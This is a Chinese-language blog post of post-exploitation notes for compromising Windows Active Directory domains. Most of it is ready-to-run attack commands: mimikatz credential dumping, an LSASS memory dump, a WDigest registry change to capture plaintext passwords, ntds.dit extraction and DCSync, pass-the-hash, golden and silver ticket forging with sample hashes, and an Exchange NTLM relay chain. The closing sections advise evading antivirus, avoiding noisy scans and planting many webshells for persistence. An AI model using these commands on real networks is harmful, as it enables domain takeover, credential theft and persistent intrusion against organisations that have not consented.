内网基础(持续更新...)

内网渗透(基础)-第一版

我们假定你已经拿下一台普通权限的机器,这台机器也许处在DMZ(外部网站),也许运气好就在内网域环境里,渗透情况总是复杂多样的,现在我们开始内网渗透,目标拿下域管理员,实现完全控制,这就是所谓的后渗透,让我们开始吧。

  • 域环境介绍

    https://docs.microsoft.com/zh-cn/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview

  • 域环境一般构成:

    • PDC(主域控制器)+ SDC(次域控)+ Exchange(邮件服务器)+ DataCentre(共享服务器)+ PC

      主机信息收集

      基本信息:

  • 权限 - whoami -all

  • ip信息 - ipconfig

  • 开放端口及服务 - netstat -ano

  • edr(杀软) - cd C:\Program Files & dircd C:\Program Files (x86)&&dir

  • 进程 - tasklist /v

  • 系统信息 - systeminfo

  • 查看当前登录用户 - quser

  • 账户信息:

    1
    2
    3
    4
    5
    net user
    net localgroup
    net accounts
    net localgroup administrators
    net localgroup "Remote Desktop Users"
  • 服务信息 - sc query

  • 然后桌面啥的翻一翻,万一有密码呢~

    提权信息:

  • 查看安装补丁的版本 - wmic qfe

    凭证信息

  • mimikatz dpapi

    本地提权

    exp提权

  • 首先执行命令 wmic qfe 查看补丁版本,寻找没有被修补的漏洞

  • juicy potato工具生成exp:

    https://github.com/ohpe/juicy-potato

  • 编译完成上传到目标执行,执行完成后使用 whoami 查看是否是 administrator 权限

    第三方提权:

  • MySQL - UDF提权

  • MSSQL - root 权限可以通过 xp_cmdshell 执行命令

  • 各种web应用服务,比如Tomcat,在web目录部署webshell。

  • 总之寻找高权限第三方服务

    系统提权:

    • 未引用服务目录
    • dll注入
    • 越权文件替换

域信息收集:

dsquery :

  • dsquery 是windows服务器自带的查询工具,可以查询出域内所有的信息,注意:**只能在域机器上或经过认证的域用户使用**,可远程查询。
  • 基本用法:dsquery * -limit 0(不加的话默认导出前100条) -filter (内容是过滤器) -attr (内容是导出的项目) dc= (域名,有几级域名就加几个 dc,例如 hello.org => dc=hello dc=org)
  • 导出域信任关系 : dsquery * -filter (objectClass=trusteddomain) > trust.txt
  • 导出域用户信息: dsquery * -limit 0 -filter (objectclass=user) -attr * > user.txt
  • 导出域用户信息的指定属性: dsquery * -limit 0 -filter objectclass=user -attr name pwdLastSet sAMAccountName mail > user.txt
  • 查询指定用户信息:dsquery * -limit 0 -filter &(objectclass=user)(sAMAccountName=John) -attr * > user.txt
  • 查询所有 adminCount 为1的账户(大概率为域管账户,但如果曾今是也是1): dsquery * -filter "(&(objectClass=user)(adminCount=1))" -attr * -l -limit 0 > user.txt
  • 导出域用户组信息:`dsquery * -limit 0 -filter objectclass=group -attr * > group.txt
  • 导出域计算机信息:dsquery * -filter objectclass=computer -attr * > computer.txt
  • 远程连接域控:dsquery * dc=hello,dc=org -attr * -l -limit 0 -s 10.24.15.1 -u EXCHLAB\Administrator -p VMPassw0rd!! > full.txt

    横向移动

  • 横向移动(远程执行命令)是内网渗透的重中之重,一开始获取权限的或许只是普通机器,可能需要很多次横向移动才能抓到域管账号。

    wmic

  • 执行命令: wmic /node:10.1.1.1 /user:administrator /password:admin123 process call create "cmd /c whoami > 1.txt"

  • 注意:

    1. wmic需要域管理员权限才能在别人电脑上执行命令哦
    2. 如果此时正有人在登录,wmic会弹窗

      schtasks

  • 执行命令:schtasks /create /s 1.1.1.1 /u administrator /p admin123 /tn hhh(任务名字) /sc once(执行次数) /tr "cmd /c whoami > 1.txt"

  • 注意:
    1.schtasks同样需要域管理员权限
    2.schtasks将以system权限执行命令

    winrm

  • windows server 默认开启的服务,可以使用winrs客户端执行命令

  • 可以复用80,443端口做持久化

其余的工具

  • at
  • psexec
  • dcom
  • rdp

    抓取凭证

    mimikatz

  • 宇宙最强奇异果,内网渗透神器,建议搞懂,可以从内存中读出用户的密码明文或者哈希
  • 注意: 右键以管理员权限运行
  • 注意!!
    1. 使用 mimikatz 时注意看其支持的系统版本,如果在不支持的系统版本上执行通常会导致机器重启
    2. mimikatz 20190813 版在 Windows Server 2016 的 DC 服务器上使用失败,重启
  • 使用:
    • mimikatz privilege::debug :万事先提权

    • sekurlsa::logonPasswords : 抓取在这台电脑上登录过的域用户的密码以及本地密码(内存中的)

    • 抓明文:

      1. 自 Windows 8.1 及 Windows Server 2012 R2 开始,内存就不再存储 LM Hash 及明文密码了,旧版本的 Windows 打上 kb2871997 补丁也会实现相同的功能,如果这时候还想让系统存储明文密码就需要修改下注册表:

        reg add \\DC1.EXCHLAB.ORG\HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

      2. 修改成功之后不必重启,之后登录 Windows 的账户明文密码就可以通过抓内存抓到了
        然而,这个注册表项一般会被防御软件监控,所以除非没办法了,否则别碰!

    • mimikatz在目标上极易被杀,所以我们采取另一种办法,上传微软签名的工具 procdump 拷贝内存,考回本机,用mimikatz加载:

      1. 使用procdump导内存: procmon.exe -accepteula -ma lsass.exe C:\Windows\Temp\debug.dmp
      2. 使用mimikatz加载: mimikatz.exe "sekurlsa::minidump C:\Windows\Temp\debug.dmp" "sekurlsa::logonPasswords"
    • 抓取本地:

      • 导出注册表:
        1. reg save \\DC1.EXCHLAB.ORG\HKLM\SAM C:\Windows\Temp\SAM.HIVE
        2. reg save \\DC1.EXCHLAB.ORG\HKLM\SYSTEM C:\Windows\Temp\SYSTEM.HIVE
        3. 拖回本地:mimikatz.exe "lsadump::sam /sam:C:\sam.hive /system:C:\system.hive" exit
    • 记录明文:mimikatz 通过向 Windows SSP (Security Support Provider) 打内存补丁的方式,将所有认证时传入的帐号密码记录到文件 C:\Windows\System32\mimilsa.log 中,重启失效

      mimikatz.exe "privilege::debug" "misc::memssp" exit

    • 抓取全域:

      • dcsyns:

        lsadump::dcsync /domain:pentestlab.local /all /csv

      • lsadump::lsa:

        privilege::debug log \"lsadump::lsa /inject

      • ntdsdump: 导出ntds.dit数据库文件,也可以导出全域密码(建议rdp导出)

        1. 一般c盘么的权限拷贝,需要先创建快照:

          vssadmin create shadow /for=C:

        2. 复制数据库文件

          1
          2
          > copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Windows\Temp\backup.db
          > copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\system.db
        3. 使用 impacket的secretdump套件读取hash

          impacket-secretsdump -system /tmp/SYSTEM -ntds /tmp/ntds.dit LOCAL

        • 注意:创建快照的操作会被记录,可以使用 Invoke-NinjaCopy 工具,不过该工具会被windows defender拦截。

          票据和哈希

          哈希传递:

          win2008之后的版本密码就以hash储存而不存明文,前面mimikatz抓取的一般为 NTLM hash 。除了basic认证,域环境内的一种身份认证方式是 NTLM hash认证。采用问询/应答身份验证协议。

          NTLM身份认证: https://blog.csdn.net/qq_39353923/article/details/82599014

  • 注:域内认证方式:
    1. basic认证(账户密码)
    2. NTLM认证
    3. Negotiate认证(票据)

所以我们可以在拥有mimikatz抓取的hash的情况下进行 PTH 攻击(哈希传递攻击),可伪装任意拥有hash的用户。

mimikatz sekurlsa::pth /user:administrtor /domain:hello.org /ntlm: /run:cmd.exe

  • 弹出的cmd框中执行的命令都会使用提供的ntlm进行认证。

    票据传递:

    票据认证是微软的另一种认证方式,用到的是著名的 kerberos 认证。

avatar

  • 黄金票据:域中分发的票据是使用域用户 krbtgt 的hash加密的,当我们拥有krbtgt的hash后,就可以生成任意票据。

    mimikatz "kerberos::golden /user:Administrator /domain:hello.org /sid:S-1-5-21-1016690176-3112175478-3511132709 /krbtgt:7492c3058483dc019379647210fb5dae /dc:DC1.hello.org /ptt

    • 注意,sid 为域的sid,即用户sid去掉最后的一块。
    • 应用场景:黄金票据必须有krbtgt的hash,这需要同步过全域的hash,意味着以曾拿过域管,所以一般应用在域管权限丢失后(改密码)重新拿回域管。krbtgt用户的密码一般不会改。
  • 白银票据:

    在第三步的时候,client会带着ticket向server的某个服务进行请求,如果验证通过就可以访问server上的指定服务了。当拥有服务(比如 http,smb等)的hash,我们就可以伪造票据访问任意服务。

    • 白银票据不需要与KDC交互!
    • 比如攻击exchange机器:
      • 需要拿到exchange机器的机器hash。

        mimikatz "kerberos::golden /admin:Administrator /domain:EXCHLAB.ORG /sid:S-1-5-21-1016690176-3112175478-3511132709 /target:EXCH.hello.org /rc4:498031189eaa18a1308f36221903dad7 /service:HTTP /ptt

      • klist 查看导入的票据。

      • 成功后即可以任意用户访问exchange服务,无需经过域控认证。

        口令攻防

很多情况下因为杀软的存在是不能直接上mimikatz抓到内存的,有的杀软(某巴斯基)甚至会保护进程,这时候就需要我们用别的方法了

域提权

当你拥有一台普通的域权限机器后,接下来要做的就是提升到域管理员权限。

横向移动

mimikatz 的 logonpasswords模块只能抓到在本机登陆过的域账户,所以利用抓到的凭证进行横向移动,也许就能遇到域控登陆过的机器。

GPP漏洞

当域控为win2008时,域管通过 GPP(组策略)修改域成员的信息会保存在域内共享文件中,可破解得到明文密码。

  • xml路径:\\dc.hello.org\SYSVOL\hello.org\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\group.xml(polices后面的路径不同,可通过域信息的gplinkl查找)

  • 在kali内的 gpp-decrypt 工具解密该加密文件,获得明文。

    ds-crypt "..."

    MS14-068

    经典提权漏洞,exp编译后运行即可,版本很老,一般会修复。

    spn爆破

    https://www.cnblogs.com/zpchcbd/p/11707776.html

服务主体名称(SPN:ServicePrincipal Names)是服务实例(可以理解为一个服务,比如 HTTP、MSSQL)的唯一标识符。Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联,服务实例可以为其主机的每个名称或别名注册 SPN。
因为服务账户一般具有高权限,所以扫描spn也是提权的可行手段。***任何域用户都可以向任何域服务请求TGS

  • 利用步骤:
    1. 扫描spn
    2. 根据SPN请求TGS
    3. 导出TGS_ticket(mimikatz)
    4. TGS_ticket默认rc4加密,爆破即可获得服务用户密码

其余内网攻击方式

SMB签名和LDAP签名

https://www.anquanke.com/post/id/194514

关于签名

客户端和服务器端开启签名将使用一个key加密操作,以防止NTLM_relay攻击(攻击者看不见内容)这个key由客户端生成,叫做exportedkey,然后用key_exchangekey作为密钥加密,(keyexchange是有用户与服务端共同计算协商的)得到encryptedkey,作为sessionkey字段传给服务端。

smb签名

在域内的默认设置是仅在域控制器上启用,域成员机器并没有启用

LDAP签名

在默认情况底下,ldap服务器就在域控里面,而且默认策略就是协商签名。而不是强制签名。也就是说是否签名是有客户端决定的。服务端跟客户端协商是否签名。微软公司于 2019-09-11 日发布相关通告称微软计划于 2020 年 1 月发布安全更新。为了提升域控制器的安全性,该安全更新将强制开启所有域控制器上 LDAP channel binding 与 LDAP signing 功能。

Exchange SSRF + NTLM Relay + Exchange ACL

很棒的攻击,所以写一下

越权

  • exchange允许任何用户为推送订阅(Push Subscription)指定所需的URL,服务器将尝试向这一URL发送通知。这一漏洞之所以存在,是因为Exchange Server使用CredentialCache.DefaultCredentials进行连接:
    avatar

    CredentialCache.DefaultCredentials 会使 exchange 将 net-ntlm(注意不是NTLM) 发送到攻击者服务器。且exchange默认如下注册表项

    1
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\DisableLoopbackCheck = 1

    并未开启relay_back检查,因此我们可以将NTLM返回exchange的ews接口用于http认证,我们可以在soap头里伪造任意用户
    avatar

  • 全域dcsync需要权限,我们可以通过添加两条ACL来使用户获得权限:

    1
    2
    ‘DS-Replication-Get-Changes’     = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
    ‘DS-Replication-Get-Changes-All’ = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2

    Exchange Windows Permissions,Exchange Trusted Subsystem 组成员都具有Write-ACL权限,则exchange机器拥有添加ACL的权限,所以我们在拿到Exchange机器的http请求的时候,可以将请求Relay到Ldap,然后由于Exchange机器用户具备Write-ACL权限,我们在域内给添加两条acl,acl的受托人可以是任意用户。从而使该用户具备Dcsync的权限。

  • 利用工具:

  • 攻击步骤:

    1. 使用 ntlmrelayx 监听端口进行等待连接
      avatar

    2. 发起推送订阅指定所需的URL,Exchange. 服务器将尝试向这个URL发送通知
      avatar

    3. Relay 到域控的Ldap 服务器并给普通用户daiker添加两条acl
      avatar

    4. 用户即拥有了dcsync权限

工具:

域渗透思路:

这个就是个人瞎逼逼了:一般一进去就是域控的情况很少(还是遇到过),有的时候进去都不是域内机器。基本思路无非就是:抓密码->移动->抓密码,所以前期的信息收集很重要。一般服务账户权限都很高,比如exchange。所以尝试的时候先尝试服务账户。远程执行的时候一定先看杀软,有厉害的比如eset、fireye之类的就要谨慎一点,mimikatz啥的就别传了,必杀。域内一般还是比外网好搞的,所以一定要自己动手搭环境自己试试。

一般进入内网先要摸清内网结构,大的目标会有杀软和防火墙,所以别用动静太大的扫描器比如nmap,尽量找轻量级的扫描器,线程少或干脆单线程,网络内所有存活主机,所有开放端口和运行服务都要高清楚,内网一般危险服务很多,比如 telnet、redis等.开80等web端口的做好内网代理访问看看,推荐 HTTPScreenshot 这个工具。然后的思路就和外往差不多,想办法拿权限,抓到hash以后去别的机器尝试,如此往返。


更新:域信息收集很重要,定位好域控,datacenter,数据库,web服务器等。本地system的口令多碰一碰,大概率可以碰到好多台。多翻翻文件,看看共享。记住,能不上工具就不上工具。

有权限了多放webshell,大部分会做反代,内网ping域名找机器,反代nginx的代理池springpool里会有详细的配置。口令找找规则,猜一猜,说不定就猜到了。

推荐


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!